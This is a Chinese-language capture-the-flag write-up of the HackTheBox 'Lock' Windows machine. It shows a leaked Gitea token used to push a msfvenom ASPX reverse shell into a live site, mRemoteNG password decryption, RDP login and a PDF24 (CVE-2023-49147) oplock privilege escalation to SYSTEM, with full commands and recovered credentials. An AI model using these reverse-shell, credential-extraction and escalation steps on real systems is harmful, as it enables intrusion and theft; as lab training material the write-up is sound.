【渗透测试】HTB靶场之Lock 全过程wp

Lock

Lock 是一台简单难度的 Windows 靶机。解题流程包括:枚举 Gitea 仓库找到个人访问令牌(PAT);利用该令牌在服务器上部署 ASPX 网页后门,从而获得初始立足点;从 mRemoteNG 配置文件中解密出密码,得到新用户账户的登录权限;最后利用 PDF24 程序中的本地提权漏洞,获取 SYSTEM 权限的 Shell。

信息收集

目标ip:10.129.234.64

kali ip:10.10.16.4

kotlin 复制代码
┌──(root㉿kali)-[~/桌面/HTB]
└─# nmap -A -T4 10.129.234.64          
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-15 01:34 EST
Nmap scan report for 10.129.234.64
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Lock - Index
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp  open  microsoft-ds?
3000/tcp open  http          Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=74301fab8c80b509; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=7YhSALV0ZBSIvHetLhey94Wp5Es6MTc3MTEzNzQyMDEwNTU1NjcwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 15 Feb 2026 06:37:00 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=c9a200de20c43a71; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=_WL4mnt6F0jUe2zby5-7FVfiMSY6MTc3MTEzNzQyMTM0NTI4NDgwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 15 Feb 2026 06:37:01 GMT
|_    Content-Length: 0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-02-15T06:38:16+00:00; +1m58s from scanner time.
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2026-02-14T06:34:21
|_Not valid after:  2026-08-16T06:34:21
| rdp-ntlm-info: 
|   Target_Name: LOCK
|   NetBIOS_Domain_Name: LOCK
|   NetBIOS_Computer_Name: LOCK
|   DNS_Domain_Name: Lock
|   DNS_Computer_Name: Lock
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-15T06:37:37+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=2/15%Time=69916916%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,3000,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:
SF:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nConte
SF:nt-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=
SF:74301fab8c80b509;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie
SF::\x20_csrf=7YhSALV0ZBSIvHetLhey94Wp5Es6MTc3MTEzNzQyMDEwNTU1NjcwMA;\x20P
SF:ath=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Option
SF:s:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2015\x20Feb\x202026\x2006:37:00\x20G
SF:MT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-
SF:auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=device
SF:-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x20c
SF:up\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:app
SF:lication/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYS
SF:IsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfd
SF:XJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8v
SF:bG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmc
SF:iLCJzaXplcyI6IjU")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Metho
SF:d\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control
SF::\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nSet-
SF:Cookie:\x20i_like_gitea=c9a200de20c43a71;\x20Path=/;\x20HttpOnly;\x20Sa
SF:meSite=Lax\r\nSet-Cookie:\x20_csrf=_WL4mnt6F0jUe2zby5-7FVfiMSY6MTc3MTEz
SF:NzQyMTM0NTI4NDgwMA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSi
SF:te=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2015\x20Feb\
SF:x202026\x2006:37:01\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-02-15T06:37:38
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1m57s, deviation: 0s, median: 1m57s

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   349.42 ms 10.10.16.1
2   349.72 ms 10.129.234.64

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.87 seconds

发现开放了4个端口:80、445、3000、3389

在左上的探索下,位于公共仓库中有一段python编写的代码

python 复制代码
import requests
import sys
import os

def format_domain(domain):
    if not domain.startswith(('http://', 'https://')):
        domain = 'https://' + domain
    return domain

def get_repositories(token, domain):
    headers = {
        'Authorization': f'token {token}'
    }
    url = f'{domain}/api/v1/user/repos'
    response = requests.get(url, headers=headers)

    if response.status_code == 200:
        return response.json()
    else:
        raise Exception(f'Failed to retrieve repositories: {response.status_code}')

def main():
    if len(sys.argv) < 2:
        print("Usage: python script.py <gitea_domain>")
        sys.exit(1)

    gitea_domain = format_domain(sys.argv[1])

    personal_access_token = os.getenv('GITEA_ACCESS_TOKEN')
    if not personal_access_token:
        print("Error: GITEA_ACCESS_TOKEN environment variable not set.")
        sys.exit(1)

    try:
        repos = get_repositories(personal_access_token, gitea_domain)
        print("Repositories:")
        for repo in repos:
            print(f"- {repo['full_name']}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

这是一个用于通过 Gitea API 获取用户仓库列表的 Python 脚本,通过个人访问令牌进行身份验证。

核心功能

身份验证:使用 Gitea 个人访问令牌

API 调用:调用 Gitea 的 /api/v1/user/repos端点

域名处理:自动添加 HTTPS 协议前缀

仓库展示:输出用户的所有仓库完整名称

查看提交历史,可以看到PERSONAL_ACCESS_TOKEN

kotlin 复制代码
PERSONAL_ACCESS_TOKEN = '43ce39bb0bd6bc489284f2905f033ca467a6362f'

我们将脚本复制到kali里面,并设置环境变量

我们可以看到有两个仓库:dev-scripts和website

这里有两个方法

1.git

我们已经了解了dev-scripts,所以接下来我们将克隆website仓库。但是现在没有密码,只有token,git允许token当作密码使用,这可以通过使用git clone命令并同时提供访问令牌来完成。

复制代码
git clone https://<username>:<token>@<gitea-domain>/<owner>/<repository>.git

git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website

2.curl

kotlin 复制代码
curl http://10.129.234.64:3000/api/v1/user/repos -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .


[
  {
    "id": 1,
    "owner": {
      "id": 2,
      "login": "ellen.freeman",
      "login_name": "",
      "full_name": "",
      "email": "ellen.freeman@lock.vl",
      "avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2023-12-27T11:13:10-08:00",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "ellen.freeman"
    },
    "name": "dev-scripts",
    "full_name": "ellen.freeman/dev-scripts",
    "description": "",
    "empty": false,
    "private": false,
    "fork": false,
    "template": false,
    "parent": null,
    "mirror": false,
    "size": 29,
    "language": "Python",
    "languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts/languages",
    "html_url": "http://localhost:3000/ellen.freeman/dev-scripts",
    "url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts",
    "link": "",
    "ssh_url": "ellen.freeman@localhost:ellen.freeman/dev-scripts.git",
    "clone_url": "http://localhost:3000/ellen.freeman/dev-scripts.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 1,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2023-12-27T11:17:47-08:00",
    "updated_at": "2023-12-27T11:36:42-08:00",
    "archived_at": "1969-12-31T16:00:00-08:00",
    "permissions": {
      "admin": true,
      "push": true,
      "pull": true
    },
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "has_releases": true,
    "has_packages": true,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_rebase_update": true,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "repo_transfer": null
  },
  {
    "id": 5,
    "owner": {
      "id": 2,
      "login": "ellen.freeman",
      "login_name": "",
      "full_name": "",
      "email": "ellen.freeman@lock.vl",
      "avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2023-12-27T11:13:10-08:00",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "ellen.freeman"
    },
    "name": "website",
    "full_name": "ellen.freeman/website",
    "description": "",
    "empty": false,
    "private": true,
    "fork": false,
    "template": false,
    "parent": null,
    "mirror": false,
    "size": 7370,
    "language": "CSS",
    "languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/languages",
    "html_url": "http://localhost:3000/ellen.freeman/website",
    "url": "http://localhost:3000/api/v1/repos/ellen.freeman/website",
    "link": "",
    "ssh_url": "ellen.freeman@localhost:ellen.freeman/website.git",
    "clone_url": "http://localhost:3000/ellen.freeman/website.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 1,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2023-12-27T12:04:52-08:00",
    "updated_at": "2024-01-18T10:17:46-08:00",
    "archived_at": "1969-12-31T16:00:00-08:00",
    "permissions": {
      "admin": true,
      "push": true,
      "pull": true
    },
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "has_releases": true,
    "has_packages": true,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_rebase_update": true,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "repo_transfer": null
  }
]
字段 dev-scripts 仓库 website 仓库 渗透测试解读
仓库 ID 1 5 唯一标识,API 操作时可能用到
所属用户 ellen.freeman ellen.freeman 锁定目标用户,后续可围绕该用户展开枚举
仓库全名(full_name) ellen.freeman/dev-scripts ellen.freeman/website 克隆 / 访问仓库的核心标识,格式为「用户名 / 仓库名」
仓库类型(private) false(公共) true(私有) website 是私有仓库,大概率包含敏感内容(如网站源码、部署脚本),重点关注
主要开发语言 Python CSS 提示仓库内容类型:- dev-scripts:Python 脚本- website:前端 / 网页代码
仓库大小 29 KB 7370 KB(约 7.2MB) website 体积大,内容更丰富,是重点目标
权限(permissions) admin: true / push: true / pull: true admin: true / push: true / pull: true 你的令牌拥有该仓库的管理员权限(可推送 / 修改代码),这是提权关键
克隆地址(clone_url) http://localhost:3000/ellen.freeman/dev-scripts.git http://localhost:3000/ellen.freeman/website.git 可通过该地址克隆仓库到本地分析内容

这表明,对该存储库的任何更改都会自动改变正在托管的网站。如果我们查看此目录内的index.html页面,我们会找到我们之前访问的网站的HTML内容。这意味着,我们能够向该存储库提交代码,它将被自动推送到该网站。

我们改变changelog.txt内容,然后提交后

复制代码
git add .

git commit -m "mane update"

git config --global user.name "ellen.freeman"

git config --global user.email "ellen.freeman"

git push

这时候再去刷新就可以看到更改了

漏洞利用

既然可以成功修改了服务器的文件,由于从Nmap扫描可以确认Microsoft IIS被用作web服务器

我们可以上传一个.aspx网页shell以实现远程代码执行。

我们可以通过msfvenom生成此网页shell

kotlin 复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=4444 -f aspx > test.aspx

然后我们使用msfconsole启动监听器,以便在webshell触发后捕获反向shell

复制代码
msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/x64/meterpreter/reverse_tcp;set LHOST 10.10.16.4;set LPORT 4444;run"
kotlin 复制代码
git add test.aspx

git commit -m "reverse shell"

git push

再回到website目录下,去访问test.aspx

得到shell

在C:\Gitea\data下有一个gitea.db的数据库文件

我们尝试使用445端口smb共享

但是没有权限

使用gitea命令更改管理员密码

kotlin 复制代码
.\gitea admin user change-password -u administrator -p chenzi123

发现修改成功

成功登陆

但是并没有什么东西

字段名 取值 渗透测试解读
EncryptionEngine AES 密码的加密算法是 AES(GCM 模式),这是解密的关键前提
BlockCipherMode GCM AES 的分组密码模式,解密工具需要匹配这个模式
KdfIterations 1000 密钥派生函数的迭代次数,解密时需要用到
Protected sDkrKn0JrG4oAL4GW8BctmMNAJfcdu/ahPSQn3W5DPC3vPRiNwfo7OH11trVPbhwpy+1FnqfcPQZ3olLRy+DhDFp mRemoteNG 的主加密密钥(Base64 编码),解密密码必须依赖这个值
Name RDP/Gale 这个连接配置的名称,指向用户 Gale
Username Gale.Dekarios 靶机上的有效用户账号(核心!后续登录 / 提权要用)
Password TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw== 该用户的加密密码(Base64 编码),需要解密成明文
Hostname Lock 连接的目标主机名(即靶机本身)
Protocol RDP 连接协议是 RDP(远程桌面),端口 3389
Port 3389 RDP 默认端口,解密密码后可尝试远程登录

加密密码

复制代码
TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw==

我们可以使用mRemoteNG进行解密

kotlin 复制代码
git clone https://github.com/kmahyyg/mremoteng-decrypt

python mremoteng_decrypt.py -rf config.xml


Username: Gale.Dekarios
Hostname: Lock
Password: ty8wnW9qCKDosXo6

发现内容信息里有关RDP,成功获取RDP凭据。使用这些凭据,我们可以建立到该机器的RDP会话。

复制代码
xfreerdp /v:10.129.234.64 /u:Gale.Dekarios /p:ty8wnW9qCKDosXo6

成功在桌面得到flag

权限提升

利用CVE-2023-49147中的PDF24漏洞获取NT系统权限

找到了原始安装文件,接下来还需要SetOpLock

复制代码
https://github.com/googleprojectzero/symboliclink-testing-tools/releases/tag/v1.0

下载好后直接复制进来就行

成功下载后,我们执行以下命令在PDF24使用的faxPrnlnt.log文件上创建oplock

复制代码
.\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" -r

在oplock机制启动的情况下,我们打开一个新的命令行窗口,并使用易受攻击的PDF24 MSI安装程序触发修复安装。

复制代码
msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi

一直按确定即可

在得到这个界面时候

使用火狐

然后启动后,使用ctrl+o 输入cmd

得到root